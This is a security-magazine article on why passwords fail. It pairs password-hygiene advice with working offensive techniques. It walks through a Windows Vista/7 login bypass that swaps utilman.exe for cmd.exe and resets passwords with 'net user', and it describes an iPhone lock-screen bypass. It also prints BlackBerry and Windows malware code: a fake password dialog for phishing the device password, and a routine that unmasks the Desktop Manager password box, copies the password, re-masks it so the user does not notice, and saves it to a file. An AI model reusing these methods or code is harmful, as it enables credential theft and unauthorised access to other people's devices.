SlideShare une entreprise Scribd logo
1  sur  19
Télécharger pour lire hors ligne
EXPLOITING SOFTWARE

     Why Is Password
     Protection a Fallacy – a
     Point of View?
     MAKE your password strong, with a unique jumble of letters,
     numbers and punctuation marks. But memorize it – never write it
     down. And, oh yes, change it every few months. These instructions
     are supposed to protect us. But they don’t.

     What you will learn…                                           What you should know…
     •   Password protection isn’t an universal panacea             • Basic knowledge about BlackBerry security
     •   Password is outdated in current representation             • Basic knowledge about BlackBerry usage
     •   Virtually keyboard is vulnerable for screen capture
     •   Password’s Edit �eld is vulnerable
     •   In�nity Loop is funny DOS-attack




     A
            password is a secret word or string of characters       (they may be stolen, spoofed, forgotten, etc.) over
            that is used for authentication, to prove identity or   authentications systems relying on cryptographic
            gain access to a resource (example: an access           protocols, which are more difficult to circumvent.
     code is a type of password). The use of passwords is             Passwords are the keys to your kingdom. Combined
     known to be ancient. Sentries would challenge those            with your username, they are the most common means
     wishing to enter an area or approaching it to supply           for proving your identity and logging into your computer
     a password or watchword. Sentries would only allow             and websites or accessing information. Unfortunately,
     a person or group to pass if they knew the password.           far too often people do little to protect their passwords,
     Nowadays, user names and passwords are commonly                using simple combinations such as 123456, password,
     used by people during a log in process that controls           qwerty, or abc123. In other cases, people simply
     access to protected computer operating systems,                use their pet’s name or their birth date. Such kind of
     mobile phones, TV, etc. A typical computer user may            information can be easily found on the Internet, such
     require passwords for many purposes: logging in to             as on Facebook. With access to your password, an
     computer accounts, retrieving email from servers,              attacker can steal your digital identity, access your
     accessing programs, databases, networks, web sites,            bank accounts, or even access your organization’s
     and even reading the morning newspaper online.                 confidential information, causing a tremendous
       Despite the name, there’s no need for passwords to           amount of harm. It is also important to remember that if
     be actual words; indeed passwords which aren’t actual          someone steals your password, you could be liable for
     words may be harder to guess, a desirable property.            anything they do!
     Some passwords are formed from multiple words and                Passwords help safeguard you against identity theft.
     may more accurately be called a passphrase. The                They make it harder for cybercriminals to profile you,
     term passcode is sometimes used when the secret                access your bank account (or other online accounts)
     information is purely numeric like PINs. Passwords             and steal your money. Let’s follow an advice about how
     are generally short enough to be easily memorized              to make a good password. I summarize several ideas
     and typed. For the purposes of more compellingly               from Dr. Cole (founder of Secure Anchor Consulting)
     authenticating the identity of one computing device to         and Kaspersky Lab Expert’s (Magnus Kalkuhl, David
     another, passwords have significant disadvantages              Emm).



36                                                                                                            www.hakin9.org/en
Why Is Password Protection a Fallacy – a Point of View?


•   You must have at least one number in your              requirements for passwords have given us a false
    password.                                              sense of protection against potential attacks. In
•   You must have at least one CAPITAL letter in your      fact, they say, we aren’t paying enough attention to
    password.                                              more potent threats. Back in October 2008 when the
•   You must have at least one symbol in your              majority of Luxembourgers disclose personal data
    password.                                              without hesitation. One in five people are willing to
•   You must have use different password to access         communicate their password to strangers. And if a
    other accounts.                                        bar of chocolate is on offer, the number increases
•   Your passwords should be a minimum of 12               to one in four. A total of two out of three are willing
    characters in length. Good idea – 15 length.           to communicate indirect hints on their password.
•   You should use a passphrase rather than a single       These are the results of a mock social engineering
    word.                                                  attack carried out. This study involved recreating
•   You      should      use    non-dictionary   words.    the conditions of a social engineering attack. The
    (pa123s567swo890rd is dictionary, too). Guess          human factor is central to this type of attack. Cyber
    why! There’s a simple formula to calculate             criminals use this to forge a relationship of trust with
    a password complexity. It’s Alphabet raised            their potential victims. Normally, a simple conversation
    to the Length power (A^L) where alphabet               is enough to achieve this aim. The pirates then use
    represent allowed characters to type. Look at the      the victim’s trust to acquire information on passwords,
    pa123s567swo890rd. It’s a 26 character + 10 numeric    password tips, dates of birth, telephone numbers and
    and 12-digit in length. So, 36^12 ~ 4 * 10^9.          other data, which is subsequently used for criminal
    However, it uses a dictionary word password that       purposes. During the study, 1,040 people were
    spaced a numeric character apart.                      subjected to the mock social engineering attack. A total
                                                           of 20.6% of those questioned freely communicated
First, mentioned tips are revoked by the tendency in       their password to a stranger, and if a bar of chocolate
matter to complexify. Second, do you have enough           was on offer, the number increased to 26.1%. Only
time to type a random string (20-40 character in           13% of those questioned made no concessions and
length)? How many web sites do you log into? There         gave no information on their password.
are more than I can count. Facebook, Myspace,                It suggests the observable facts to idea how to protect
Linkedin, Twitter and any number of other social           a passwords. Let’s summarize ideas again.
networking sites? Probably a dozen. Shopping
sites? Yes, a several. Emails, IMs, and etc. Every         •   Don’t get hacked! One of the most common ways
site requires you to create a password, strong                 for criminals to steal your password is to infect your
password. Is it possible to memorize? Some kind                computer. Once your machine is compromised, they
people solve it with digit wallet. Great! All you need         will install malware on it that captures all of your
keep in mind only one super complex password.                  keystrokes (including any usernames and passwords
Other stored passwords is encrypted by default.                to online banks). When you log in to your bank, your
Example, BlackBerry Wallet or Kaspersky Password               information is automatically stolen and forwarded
Manager. Both are described as an indispensable                to the criminals. These individuals can then access
tool for the active internet and shopping user. Also,          your bank account pretending to be you and literally
it fully automates the process of entering passwords
and other data into websites and saves the user
going to the trouble of creating and remembering
multiple passwords. It’s still unsecured. Don’t forget
a spyware program is able to capture screens of
your device (my 2nd article in February 2011 Issue Is
Data Secure on the Password Protected Blackberry
Device?). You need to see it to type or need to copy
into clipboard. And no one software producer can
protect it, because need to put data into public text-
box (oh, there’s a getClipboard() method to retrieve the
system’s clipboard object in the BlackBerry API). In
other words, end-point object is vulnerable.
   Some computer security experts are advancing the
heretical thought that passwords might not need to
be strong or changed constantly. They say onerous          Figure 1. Windows login screen



www.hakin9.org/en                                                                                                       37
EXPLOITING SOFTWARE
         steal all of your money. To protect yourself, make      •   If you believe your passwords has been
         sure your computer is actively protected. This means        compromised or have reason to believe it is no
         making sure automatic updating is enabled and you           longer a secret, contact your help desk and change
         have the latest anti-virus.                                 your passwords immediately from a computer you
     •   Be sure to use different and not obvious passwords          control and trust. Another way, if an online store, or
         for different accounts. For example, never use the          any web site, sends you an email confirmation that
         same passwords for your bank accounts as your               contains a new password, login again and change
         personal accounts, such as MySpace, YouTube,                your password immediately.
         or Twitter. This way if one of your passwords is
         hacked, the other accounts are still safe.              About the digital wallet mentioned in paragraph 5
     •   Never share your password with anyone else,             previously. P.6-7 is clear in cause of necessity. P.2-
         including a supervisor or an IT support professional.   3 is partially discussed above. P.1-4 try to protect us
         Remember, your password is a secret. If anyone          from malware and discuss how much further have
         else knows your password, it’s no longer secure.        Anti-Malware companies gone. Here’s one threat
     •   Never use a public computer, such as at hotels or       to keep you awake at night: keylogging software,
         libraries, to log into an account. Since anyone can     which is deposited on a PC by a virus, records
         use these computers, they may be infected with a        all keystrokes and then sends it surreptitiously to
         malicious code that is capturing all your keystrokes.   a remote location. Keeping a keylogger off your
         Only log into your work or personal accounts on         machine is about a trillion times more important
         trusted computers you control.                          than the strength of any one of your passwords, says
     •   At times you may have so many passwords that            Cormac Herley, a principal researcher at Microsoft
         you can’t remember them all, and storing them may       Research who specializes in security-related topics.
         be your only option. If you write them down, be sure    He said antivirus software could detect and block
         to store them in locked location that only you have     many kinds of keyloggers, but there’s no guarantee
         access to; never store them in public view. Another     that it gets everything. With my recollection (when I
         option is to store them in encrypted applications       worked at Kaspersky Lab) at least two trojans could
         designed to store passwords on your computer or         block an anti-virus by catching an attention window
         smartphone.                                             and hiding attention window, of course, disabling
     •   Exercise caution when websites require you to           audio attention in an instant. In any case a most of
         answer personal questions. These questions are          security systems slow down your computer’s speed
         often used if you forget your account password          or draw your attention away. But the most important
         and need to reset it. The problem is the answers to     thing that’s 3rd party non-trusted application. It’s sad
         these questions can often be found on the Internet,     but there’s a few OS that include a NATIVE security
         such as your personal Facebook page. So make            mechanism.
         sure that if you answer personal questions, you
         use only information that is not publicly known. If     A few words about login security methods..
         the website provides other password reset options,      In computer security, a login or logon (also called
         such as SMS messages to your smartphone, you            logging in) is the process by which individual access to
         should consider these alternatives.




     Figure 2. After logging                                     Figure 3. iPhone bug



38                                                                                                       www.hakin9.org/en
Why Is Password Protection a Fallacy – a Point of View?


a computer system is controlled by identification of the       and now discuss login bugs. The up-to-date person is
user using credentials provided by the user. A user can        already used to think that a perfect protection doesn’t
log in to a system to obtain access and can then log out       exist. It will break down or will disassemble to pieces
/ log off when the access is no longer needed. To log out      sooner or later. Information security has become one of
is to close off one’s access to a computer system after        the most important counters of our life. We aspire to it.
having previously logged in. Logging out may be done           We want to protect all data. But it’s impossible…
explicitly by the user performing some action, such as           First, What does Windows Vista / Seven login screen
entering the appropriate command, or clicking a website        look like? Follow figure 1 there are three objects
link labeled as such. It can also be done implicitly, such
as by powering the machine off, closing a web browser          •   text-box (or edit-box) for your password,
window, leaving a website, or not refreshing a webpage         •   power off button. Also hibernate button, restart
within a defined period.                                           button.
   In the case of web sites that use cookies to track          •   accessibility features’ button.
sessions, when the user logs out, session-only cookies
from that site will usually be deleted from the user’s         Windows offers several programs and settings that
computer. In addition, the server invalidates any              can make the computer easier and more comfortable
associations with the session, making any session-             to use. Windows Speech Recognition now works
handle in the user’s cookie store useless. This feature        better – and with more programs. So instead of using
comes in handy if the user is using a public computer or       the keyboard, you can just tell your computer what to
a computer that is using a public wireless connection.         do. Magnifier is a help to people with low vision, but
As a security precaution, one should not rely on implicit      everyone will appreciate its ability to enlarge hard-to-
means of logging out of a system, especially not on a          see text and pictures. Full-screen mode magnifies the
public computer; instead one should explicitly log out         entire desktop, and lens mode zooms in on particular
and wait for the confirmation that this request has taken      areas. Windows can read on-screen text aloud and
place.                                                         describe some events (like error messages), helping
   Logging out of a computer when leaving it is a              you use your computer without the display.
common security practice, preventing unauthorized                 On this screen you can press Windows Button plus
users from tampering with it. There are also                   [U] to activate a those component that located at
people who choose to have a password-protected                 Windows Directory › System 32 › Utilman.exe (dll, too).
screensaver set to activate after some period of               It’s a first our target. Second target is command shell
inactivity, requiring the user to re-enter their login         called cmd.exe. In Vista and Seven a command shell
credentials to unlock the screensaver and gain                 gives opportunity to add, delete, or modify any user
access to the system. Windows 7 and Windows Vista              account. There’s a simple command that’s going to help
allow changing the appearance of the login-screen.             us – NET USER USERNAME PASSWORD. Example,
There are softwares available which can easily be              after typing net user administrator new_password you’ll
used to change the login-screen.                               change a password.
   The talk conversation turns to login spoofing and              Well, what good is it? Just replace utilman.exe by
login bugs. Let’s will attend to the login spoffing later on   cmd.exe, press [win+u] and type previous command




Figure 4. Virtually typing                                     Figure 5. Post-masking character (virtually typing, too)



www.hakin9.org/en                                                                                                          39
EXPLOITING SOFTWARE
                                                                         It’s not only Windows have a logging bug. Back
         Did you know?                                                 to Autumn 2008 to the password protected iPhone
         Password preview is only used when the keyboard is a          (v2.2). The two-step trick is even simpler to the one
         sure type or multitap keyboard. The bold keyboard is a full
                                                                       used in the past to gain access to the phone to install
         keyboard so it won’t duplicate that behavior. Such preview
         is screen-shot-able.                                          unlocking cards or jailbreak. Just slide to unlock and
                                                                       do this:

     and you’ll be able to login with new_password. Full               •   Tap emergency call.
     game plan is described in detail below (russian-                  •   Double tap the home button.
     speaking men can acquaintance at article A Windows
     Vista/Seven password breaking in section On the ‘Net).            Done. You’re now in your favorites. This seems like a
     By the way, article was published on April 25, 2010.              feature, because you may want to have emergency
                                                                       number in your favorites for quick dial. The security
     •       Load System Recovery Options (Vista/Seven)                problem here’s double. The first: anyone picking
     •       Choose a Command Prompt                                   up your phone can make a call to anyone in your
     •       Type      %windir%system32compmgmt.msc. It loads        favorites. On top of that, this also opens access to
             a Remote Management with the Computer                     your full Address Book, the dial keypad, and your voice
             Management Tool.                                          mail. If that wasn’t bad enough, the second one is even
     •       In popup window check Select a program from a list        worse: if you tap on the blue arrows next to the names,
             of installed programs                                     it will give you full access to the private information in a
     •       Choose a Notepad                                          favorite entry. And it goes downhill from there:
     •       Open with it a command shell (%windir%system32
             cmd.exe).                                                 •   If you click in a mail address, it will give you full
     •       Duplicate a command shell and replace utilman.exe             access to the Mail application. All your mail will be
             by cmd.exe copy                                               exposed.
     •       Reboot to Windows (normal booting)                        •   If there’s a URL in your contact (or in a mail
     •       Press Windows key plus [U]                                    message) you can click on it and have full access
     •       Type Net user USERNAME NEWPASSWORD.                           to Safari.
             Then close command shell and login with new               •   If you click on send text message in a contact, it will
             password.                                                     give you full access to all your SMS.

     That’s all. You’re logged into system. You can clear              One and half month later was found a second iPhone’s
     password after it, for example, or do everything you              bug. In password-protected mode, there’s an option
     like.                                                             to disable SMS preview, so if someone picks up your
                                                                       locked phone, they can’t see incoming text messages.
         Listing 1. Catch password dialog's handler (�rst part)        However, if you activate a locked phone’s emergency
                                                                       call mode, and it receives a text message, it’ll show
         void __fastcall     Password_Catcher()                        you the full text in preview (Figure 3).
         public void syncEventOccurred(int eventId, Object                Now we examine a virtual keyboard. When you
                                object)                                touch screen to type a character a big-scaled
         {                                                             review appears. When you do the same while typing
              if (eventId == SERIAL_SYNC_STARTED || eventId ==         password into masked text box you can see that every
                                OTA_SYNC_TRANSACTION_STARTED)          character is going to be masked by asterisk or black
              {                                                        circle in ~1-2 second after. It’s quite true to iPhone,
                  start_screen_catcher();       //timer is started     Android, Windows, BlackBerry (only touch models
                  //while (true);                                      like a Storm2 9520 or only in touch-mode, like Torch
              }                                                        9800 when slider is closed). But if you use hardware
              else if (eventId == SERIAL_SYNC_STOPPED ||               keyboard you never see it. It’s a roughly speaking.
                                eventId == OTA_SYNC_TRANSACTION_       Reasonably, password preview is only used when
                                STOPPED)                               the keyboard is a sure type or multitap keyboard. The
              {                                                        bold keyboard is a full keyboard so it won’t duplicate
                  stop_screen_catcher(); //timer is stopped            that behavior.
              }                                                           Figure 4 shows us screenshot at a moment when
         }                                                             you’ll set or modify your password. Figure 5 shows us
                                                                       device-unlocking moment.



40                                                                                                              www.hakin9.org/en
Why Is Password Protection a Fallacy – a Point of View?


Malware Design (Screen-Capturer)
Screen-capture API I discussed in my 2nd article in
February 2011 Issue Is Data Secure on the Password
Protected Blackberry Device? To determine locking
state of device should use a class ApplicationManager
and import net.rim.device.api.system.ApplicationManager.
It enables applications to interact with the application
manager to perform the following tasks:

•    interact with processes, such as retrieving the IDs
     for foreground applications
•    post global events to the system
•    lock or unlock the handheld, or determine whether
     the handheld is locked
•    run an application immediately or at a specific time
                                                             Figure 6. Password stealer while synchronizing – part I
To use any of the ApplicationManager methods,
you must first retrieve a reference to the current              To prevent this, some operating systems require a
application manager using the getApplicationManager()        special key combination (called a Secure attention key)
method. To determine whether the user’s handheld             to be entered before a login screen is presented, for
is locked, invoke boolean method ApplicationManager          example Control-Alt-Delete. Users should be instructed
.getApplicationManager().isSystemLocked(); Then move         to report login prompts that appear without having
this method to Timer with delay in 10 msec to check          pressed this secure attention key. Only the kernel,
if locked state followed by unlocking state to start         which is the part of the operating system that interacts
screen-capturing with delay in 500 msec. Another             directly with the hardware, can detect whether the
way to catch a password when your device is starting         secure attention key has been pressed, so it can’t be
synchronizes. Import SyncEventListener interface from        intercepted by third party programs, unless the kernel
net.rim.device.api.synchronization and overwrite a void      itself has been compromised.
syncEventOccurred like in Listing 1.                            There are two possible way of stealing password.
   Look closely to commented line while(true). It’s a kind   First, when you unlock your device; second, when
of DOS-attack, by the way. Don’t panic! Any BlackBerry       you synchronize your device with PC. During it you’re
Devices still stay responsible but you can’t synchronize     asked about sync way whether sync media or use
device if it placed on sync event; you can’t turn volume     usb drive or only charge device. Sure, we can’t guess
up if it placed on volume’s event, etc. It’s funny that      what you choose, but we don’t. Do you draw attention
those infinity loop won’t kill by system if uses in non-     on discrepancy or take it as a kind of program error
main thread.                                                 (bug)? In any case you’re caught on fake-logining. After
   Let’s see Figures 6-7 for media sync and usb drive        password typing you’ll be notified about wrong password
password dialogs.                                            (two times to get your right pass and one more to inform
   Now let’s talk about login spoofing as a technique
used to steal a user’s password. The user is presented
with an ordinary looking login prompt for username and
password, which is actually a malicious program, usually
called a Trojan horse under the control of the attacker.
When the username and password are entered, this
information is logged or in some way passed along to
the attacker, breaching security. Login spoofing can be
considered a form of social engineering.

    SyncEventListener Constant
    OTA _ SYNC _ TRANSACTION _ STARTED       – An OTA sync
    transaction has started for a speci�c SyncCollection.
    OTA _ SYNC _ TRANSACTION _ STOPPED     – An OTA sync
    transaction has stopped for a speci�c SyncCollection.
    SERIAL _ SYNC _ STARTED – Serial sync has started.
    SERIAL _ SYNC _ STOPPED – Serial sync has stopped.
                                                             Figure 7. Password stealer while synchronizing – part II



www.hakin9.org/en                                                                                                       41
EXPLOITING SOFTWARE
     Listing 2a. Our Password Dialog
     public class PasswordPopupScreen extends PopupScreen              {
                            implements KeyListener,                                    Dialog.alert("Invalid
                            TrackwheelListener                                     Password !");
     {                                                                         }
         private String _response;                                 }
         private PasswordEditField answer;                         else
         private String password = "";                             {
         bool secondary = false;       //indicator of                  password = answer.getText();
                            secondary typing                       }
         public PasswordPopupScreen()                              return true;
         {                                                     }
             super(new VerticalFieldManager(),Field.FOCUSA     //Invoked when the trackwheel is released
                            BLE);                              public boolean trackwheelUnclick(int status, int
             LabelField question = new LabelField("Please                          time)
                            enter password");                  {
             answer = new PasswordEditField("Password:             return false;
                            ","");                             }
             add(question);                                    //Invoked when the trackwheel is rolled.
             add(new SeparatorField());                            public boolean trackwheelRoll(int amount, int
             add(answer);                                                          status, int time)
         }                                                     {
         //Gets called if the password gets called it pops                 return true;
                            the pass screen and pushes the         }
                            apps main screen                   //Keylistener's implementation
         public void accept()                                  public boolean keyChar(char key, int status, int
         {                                                                         time)
             UiApplication.getUiApplication().popScreen(th     {
                            is);                                   //intercept the ESC key - exit the app on its
         }                                                                         receipt
         public void close()                                       boolean retval = false;
         {                                                         switch (key)
             UiApplication.getUiApplication().popScreen(th         {
                            is);                                       case Characters.ENTER:
         }                                                                             _response = answer.getText();
         public String getResponse()                                   if (secondary)
         {                                                             {
             return _response;                                                             if (_response.equals(passw
         }                                                                         ord))
          //TrackwheelListener's implementation                            {
         public boolean trackwheelClick(int status, int                                            accept();
                            time)                                              Dialog.alert("null-pointer
                                                                                   exception");
             _response = answer.getText();                                     close();
             if (secondary)                                                        }
             {                                                                         // an alert is displayed if
                 if (_response.equals(password))                                   the password is incorrect
                 {                                                                     else
                                 accept();                                 {
                     Dialog.alert("null-pointer exception");
                     close();                                                      Dialog.alert("Invalid Password
                        }                                                          !");
                        else




42                                                                                                     www.hakin9.org/en
Why Is Password Protection a Fallacy – a Point of View?


  Listing 2b. Our Password Dialog
              }
              else
              {
                   password = answer.getText();
                   Dialog.alert("Invalid Password !");
              }
                          retval = true;
                          break;
          case Characters.ESCAPE:
                          close();
                          break;
          default:
              retval = super.keyChar(key,status,time);
          }
                                                           Figure 8. Class name & Window Text of controls (v4-v5) – part I
          return retval;
      }                                                    about e.g. null-pointer error, hung process. Then you’ve
      //Implementation of KeyListener.keyDown              seen originally logon screen.
      public boolean keyDown(int keycode, int time)          RIM’s article (How to – Protect BlackBerry
      {                                                    applications with a password screen) helps to re-
                  return false;                            create own password dialog. In order to create a pop-
          }                                                up password screen for a BlackBerry application, the
      //Implementation of KeyListener.keyRepeat            PopupScreen class must be extended. Implementation
      public boolean keyRepeat(int keycode, int time)      of both a TrackwheelListener and KeyListener is also
      {                                                    needed, such that whenever the trackwheel is clicked or
                  return false;                            the Enter key is pressed on the BlackBerry device, the
          }                                                password is verified (Listing 2).
      //Implementation of KeyListener.keyStatus              It also could use when lock-unlock status is changed
      public boolean keyStatus(int keycode, int time)      or is synchronized.
      {                                                      From time to time most users are attentive to
                  return false;                            malicious software and gives a lot of trouble to malware-
          }                                                writer. Therefore was found another way of password
      //Implementation of KeyListener.keyUp                stealing. Every device is going to synchronize with PC
      public boolean keyUp(int keycode, int time)          sometimes. Pass over a Mac and move to Windows.
      {                                                    Our first target group is made by Windows XP (just
                  return false;                            in case), Windows Vista (jic), Windows Seven (most
      }
  }

  Listing 3. Catch password dialog's handler (�rst part)


  void __fastcall Catcher()
  {
      //ClassName of Window
      char *internal = "#32770";
      //Caption of Window
      char *external = "Device Password Required";
      //Catch a Window
      HWND window = FindWindow(internal, external);
      …
  }



                                                           Figure 9. Class name & Window Text of controls (v4-v5) – part II



www.hakin9.org/en                                                                                                             43
EXPLOITING SOFTWARE
                                                                          Listing 4. Retrieve a static text from password dialog (second part)


                                                                          void __fastcall Catcher()
                                                                          {
                                                                              ...
                                                                              if ((bool)(int)window)
                                                                              {
                                                                                  //Label like "Password:"
                                                                                    char *stat_pass_text = (char *)malloc(256);
                                                                                  //Label like "PIN of Device:"
                                                                                    char *stat_devc_text = (char *)malloc(256);
                                                                                  //Label like "Your attemp counts:"
                                                                                    char *stat_attmp_text = (char *)malloc(256);


                                                                                  //In Z-order first of all get a password-static
     Figure 10. Class name & Window Text of controls (v4-v5) – part III
                                                                                                      control
     popular). Second target group is made by BlackBerry                            HWND stat_pass = FindWindowEx(window, NULL,
     Device Manager (as known in version 4.xx or 5.xx) and                                            "Static", "Password:");
     BlackBerry Desktop Manager (if we’re talking about                           //In Z-order previous of it is attemp's count
     version 6.xx). It’s a minor target than major target is                        HWND stat_attmp = GetWindow(stat_pass, 3);
     password field of textbox’s software. Unfortunately, we                      //In Z-order next of it is Device PIN
     can’t get a screen-capture. So, try to use a WINAPI                            HWND stat_devc = GetWindow(stat_pass, 2);
     functional.                                                                  //get control's caption for a password-static
       First of all, we need recall a knowledge about                                                 control
     system messages and system object. What does                                   GetWindowText(stat_pass, stat_pass_text, 256);
     editbox look like? It’s simple field for typing character                    //get control's caption for a pin-static control
     ~32k in length that has a passwordchar property. It                          GetWindowText(stat_attmp, stat_attmp_text, 256);
     has default #0 value or NULL or 0. Other masking                            //get control's caption for a attemp_count-
     character could be a black circle or asterisk or                                                 static control
     anything else. 0x25CF is unicode character of                                  GetWindowText(stat_devc, stat_devc_text, 256);


                                                                                  AnsiString DEV_PIN = AnsiString(stat_devc_text);
       GetWindow Constant
       GW _ HWNDNEXT (0x0002) – Identi�es the window below the                    AnsiString ATTEMPT = AnsiString(stat_attmp_text);
       speci�ed window in the Z order.                                            //correct a program version:
       GW _ HWNDPREV (0x0003) – Identi�es the window above the                    //if NULL then BB Manager v4 or BB Manager v5
       speci�ed window in the Z order.                                            //else everythin 's OK - BB Desktop Manager v6
                                                                                    if (DEV_PIN.Length() < 1)
                                                                                    {
                                                                                        int pos = AnsiPos("n", AnsiString(ATTEMPT.c_str()));
                                                                                         //extract a first part of Static (PIN)
                                                                                         DEV_PIN = ATTEMPT.SubString(1, pos - 1);
                                                                                         //extract a second part of Static (attempt'
                                                                                                      count)
                                                                                         AnsiString ATTEMPT = ATTEMPT.SubString(pos
                                                                                                      + 1, ATTEMPT.Length() - pos);
                                                                                    }
                                                                                    free(stat_devc_text);
                                                                                    free(stat_attmp_text);
                                                                                    free(stat_pass_text);
                                                                                    …
                                                                              }
                                                                              …
                                                                          }
     Figure 11. Class name & Window Text of controls (v4-v5) – part IV



44                                                                                                                         www.hakin9.org/en
Why Is Password Protection a Fallacy – a Point of View?


black circle. Every system object like modal window               and pop-up windows; but the message is not sent to
or textbox responds to API subroutine such as                     child windows. Second parameter is (Type: UINT) a
SendMessage or PostMessage. Both subroutines                      message to be sent. For lists of the system-provided
send the specified message to a window or windows.                messages, see System-Defined Messages. Other
But if you need to post a message in the message                  two parameters (Type: WPARAM, Type: LPARAM)
queue associated with a thread you should use the                 are represent an additional message-specific
PostMessage function. Parameters’ syntax is the                   information. It’s easy to guess that we need in WM_
same. First parameter is (Type: HWND) a handle to                 GETTEXT (0x000D) message. It copies the text that
the window whose window procedure will receive the                corresponds to a window into a buffer provided by the
message. If this parameter is HWND_BROADCAST                      caller. Window’s caption or textfield’s content could
((HWND)0xffff), the message is sent to all top-                   copy with it. However, if editbox is masked you can’t
level windows in the system, including disabled or                copy text, because you get a NULL-pointer. Well then
invisible unowned windows, overlapped windows,                    do unmask, copy and mask again (Figure 11).

  Listing 5. Catch password from a password dialog (third part)

  void __fastcall Catcher()                                                    //ReDraw EditBox
  {                                                                            //InvalidateRect(pass_hwnd, 0, true);
      ...
      if ((bool)(int)window)                                                   //If action is unsuccessfull set "EMPTY"
      {                                                                                    info
            …                                                                  if (password.Length() == 0)
            Application->ProcessMessages();                                    {
            //get handler of EditBox                                                 password = "EMPTY";
            HWND pass_hwnd = FindWindowEx(window, NULL,                        }
                         "Edit", NULL);                                        if (DEV_PIN.Length() == 0)
            //Check desirable EditBox (with Parent                             {
                         Form's Caption "Device Password                             DEV_PIN = "EMPTY";
                         Requied")                                             }
            if ((bool)(int)pass_hwnd)                                          if (ATTEMPT.Length() == 0)
            {                                                                  {
                //unset password masking                                             ATTEMPT = "EMPTY";
                PostMessage(pass_hwnd, EM_SETPASSWORDCHAR,                     }
                         0, 0);
                //ReDraw EditBox                                               //Store in StringList variable our PIN,
                //InvalidateRect(pass_hwnd, 0, true);                                      attemps count and pass


                //allocate memory for edit's password                          in_list->Add(ATTEMPT);
                char *passw = (char *)malloc(256);                             in_list->Add(password );


                //Password's borrowing                                         Application->ProcessMessages();
                SendMessage(pass_hwnd, WM_GETTEXT,                             try
                         (WPARAM)256, (LPARAM)passw);                          {
                                                                                     in_list->SaveToFile("c:pass.txt");
                //store in new variable                                        }
                AnsiString password = AnsiString(passw);                       catch (Exception *ex)
                free(passw);                                                   {


                //Don't let him (user) see it. Paint out.                      }
                //0x25CF is unicode character of black                     }
                         circle                                        }
                               //(dialog boxes on Win7, XP).       }
                SendMessageW(pass_hwnd, EM_
                         SETPASSWORDCHAR, 0x25cf, 0);




www.hakin9.org/en                                                                                                           45
EXPLOITING SOFTWARE
                                                              unmasked password to be placed into a buffer which
                                                              could potentially be accessed through other means by
                                                              an unauthorized process. Exploitation would require
                                                              a malicious local process to wait for an authentication
                                                              prompt to be sent to a local user by another application.
                                                              The attacker would then have to authenticate normally.
                                                              The unmasked password can be copied while this is
                                                              occurring.
                                                                From this point, a further attack would be required
                                                              to steal password credentials. Before use this WINAPI
                                                              function you should know handler of recipient object.
                                                              Should to find a window’s handler a then a object’s
                                                              handler. To do it either download desirable software or
                                                              other use WindowFromPoint(Mouse->CursorPos) that
                                                              return a handler of what under your mouse cursor’s
     Figure 12. Stolen password (v4)– part I                  coordinates. I’d prefer a first way.
                                                                At first, let’s check it with old BB Manager (version 4
       Back in 2003 when MS Windows PostMessage API           or 5).
     Unmasked Password Weakness was found. Declared             Thus, we’ve got a ClassName of password’s window
     affects:                                                 #32770 and language-sensitive caption Device Password
                                                              Required. Also device pin and attempt’s counter are in
     •   Microsoft Windows 2000 Advanced Server               our disposal.
     •   Microsoft Windows 2000 Datacenter Server
     •   Microsoft Windows 2000 Professional                    Listing 6. Get OS version
     •   Microsoft Windows 2000 Server
     •   Microsoft Windows XP Home Edition                      bool xp_seven = false; //indicate XP OS or Seven OS
     •   Microsoft Windows XP Professional                      void __fastcall get_os()
                                                                {
     A weakness has been reported in the Microsoft                  vinfo.dwOSVersionInfoSize =
     Windows PostMessage API which could effectively                                   sizeof(OSVERSIONINFO);
     allow unmasked passwords to be copied into a user’s            GetVersionEx(&vinfo);
     clipboard or other buffer. PostMessage places a                if (vinfo.dwMajorVersion == 4)
     message in the message queue but does not sufficiently         {
     check the message type. EM_SETPASSWORDCHAR                         this->Edit5->Text = "Windows NT 4.0, Windows
     (Type UINT, Message) messages set the password                                    Me, Windows 98, or Windows 95";
     mask character in password edit box controls.                  }
     PostMessage may be abused in combination with                  else if (vinfo.dwMajorVersion == 5)
     EM_SETPASSWORDCHAR messages to cause an                        {
                                                                        this->Edit5->Text = "Windows Server 2003 R2,
                                                                                       Windows Server 2003, Windows XP,
                                                                                       or Windows 2000";
                                                                        xp_seven = false;
                                                                    }
                                                                    else if (vinfo.dwMajorVersion == 6)
                                                                    {
                                                                        this->Edit5->Text = "Windows Vista, Windows
                                                                                       Server Longhorn or Windows
                                                                                       Seven";
                                                                        xp_seven = true;
                                                                        }
                                                                    …
                                                                }



     Figure 13. Stolen password (v4)– part II



46                                                                                                         www.hakin9.org/en
Why Is Password Protection a Fallacy – a Point of View?


                                                                 Two parameters should be used is in GetWindow
                                                                 Constant. Note that in BB Manager v4 (or v5) is one
                                                                 static for password’s attempts and device pin than in
                                                                 BB Desktop Manager v6 where it two separate controls
                                                                 (Listing 4).
                                                                   After it was copied get a edit’s handler and send via
                                                                 PostMessage function with EM_SETPASSWORDCHAR
                                                                 message and NULL-parameters (WPARAM & LPARAM)
                                                                 to those handler. Via SendMessage function with WM_
                                                                 GETTEXT and buffer & buffer-size parameters retrieve
                                                                 a characters from edit-box. And don’t forget about
                                                                 masking typed chars via SendMessageW functional
                                                                 with EM_SETPASSWORDCHAR message and 0x25cf
                                                                 WPARAM. It strongly recommend to use unicode
                                                                 version of SendMessage else you’ve got another
                                                                 character than black circle (Listing 5).
Figure 14. Class name & Window Text of controls (v6) – part I
                                                                   Look at Figures 12. A malware’s code has caught
                                                                 a password, device pin, attempt counter. To prove
  There’s a FindWindow Function that retrieves a                 password’s correctness I comment SendMessageW(..,
handle to the top-level window whose class name and              0x25cf,..) line to represent a password without masking
window name match the specified strings. It’s return             (Figure 13).
us a window’s handler. To access to the static and                 If we try to use this code in Vista or Seven we get
edit controls use the function searches child windows,           nothing, because it’s more correct to set system hook is
beginning with the one following the specified child             owner address space via loading a DLL-Cather. But at
window. It’s known as FindWindowEx. Full usage                   this rate you should to know OS version, right? Roughly,
description you find on the net (Listing 3).                     we need a so called Major Version to distinct XP and
  But we don’t know what text we’re got in cause having          Seven (Listing 6).
2 or 3 static name (depend on v4-v5 and v6). Z-order               Now, let’s check with class names and window texts
and GetWindow function is come to aid. The z-order               against BB Desktop Manager (Figures 13-16). Most of
of a window indicates the window’s position in a stack           this repeats previous parts exclude several ideas. How
of overlapping windows. This window stack is oriented            to use system hooks you can find on google.com, so
along an imaginary axis, the z-axis, extending outward           I mark several ideas. SysMsgProc(int code, WPARAM
